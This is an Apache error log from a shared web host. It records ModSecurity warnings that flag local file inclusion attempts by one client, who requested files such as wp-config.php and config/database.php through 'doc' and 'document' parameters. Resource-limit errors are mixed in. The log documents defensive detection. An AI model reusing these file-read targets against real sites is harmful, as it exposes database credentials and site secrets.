[Fri Jul 17 08:55:48.148555 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.148901 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvI1dLClkUfK_dfHlEwAAAAI"]
[Fri Jul 17 08:55:48.180644 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:doc: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvFh1WDijTxd1xw5MfgAAAAc"]
[Fri Jul 17 08:55:48.181304 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvFh1WDijTxd1xw5MfgAAAAc"]
[Fri Jul 17 08:55:48.181454 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.181815 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvFh1WDijTxd1xw5MfgAAAAc"]
[Fri Jul 17 08:55:48.188725 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:doc: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvCvekYYQ8uns4MwljwAAAA0"]
[Fri Jul 17 08:55:48.190131 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.192413 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.195180 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.201136 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.202030 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:doc: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvARRrtuZqNDDSqWwYAAAABo"]
[Fri Jul 17 08:55:48.202606 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvARRrtuZqNDDSqWwYAAAABo"]
[Fri Jul 17 08:55:48.202707 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.202987 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvARRrtuZqNDDSqWwYAAAABo"]
[Fri Jul 17 08:55:48.203259 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvCvekYYQ8uns4MwljwAAAA0"]
[Fri Jul 17 08:55:48.203403 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.203691 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvCvekYYQ8uns4MwljwAAAA0"]
[Fri Jul 17 08:55:48.204264 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.206751 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.248002 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:48.249693 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.265011 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.269910 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.272857 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.273283 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.275246 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.287731 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.304168 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:document: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvFh1WDijTxd1xw5MgAAAAAc"]
[Fri Jul 17 08:55:48.304744 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvFh1WDijTxd1xw5MgAAAAAc"]
[Fri Jul 17 08:55:48.304868 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.305150 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvFh1WDijTxd1xw5MgAAAAAc"]
[Fri Jul 17 08:55:48.334293 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:document: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvLEWOaI5pmYo9fnO7gAAAAA"]
[Fri Jul 17 08:55:48.334901 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvLEWOaI5pmYo9fnO7gAAAAA"]
[Fri Jul 17 08:55:48.335002 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.335279 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvLEWOaI5pmYo9fnO7gAAAAA"]
[Fri Jul 17 08:55:48.379849 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:document: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvF1_86A5R6msWNfUlgAAABI"]
[Fri Jul 17 08:55:48.380513 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvF1_86A5R6msWNfUlgAAABI"]
[Fri Jul 17 08:55:48.380660 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.380983 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvF1_86A5R6msWNfUlgAAABI"]
[Fri Jul 17 08:55:48.384729 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:document: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvARRrtuZqNDDSqWwYgAAABo"]
[Fri Jul 17 08:55:48.385372 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvARRrtuZqNDDSqWwYgAAABo"]
[Fri Jul 17 08:55:48.385509 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.385833 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvARRrtuZqNDDSqWwYgAAABo"]
[Fri Jul 17 08:55:48.393054 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:48.395938 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:document: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvCvekYYQ8uns4MwlkQAAAA0"]
[Fri Jul 17 08:55:48.396443 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:document: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvBHlOGcokz2QIwTTSAAAAAM"]
[Fri Jul 17 08:55:48.396605 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvCvekYYQ8uns4MwlkQAAAA0"]
[Fri Jul 17 08:55:48.396729 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
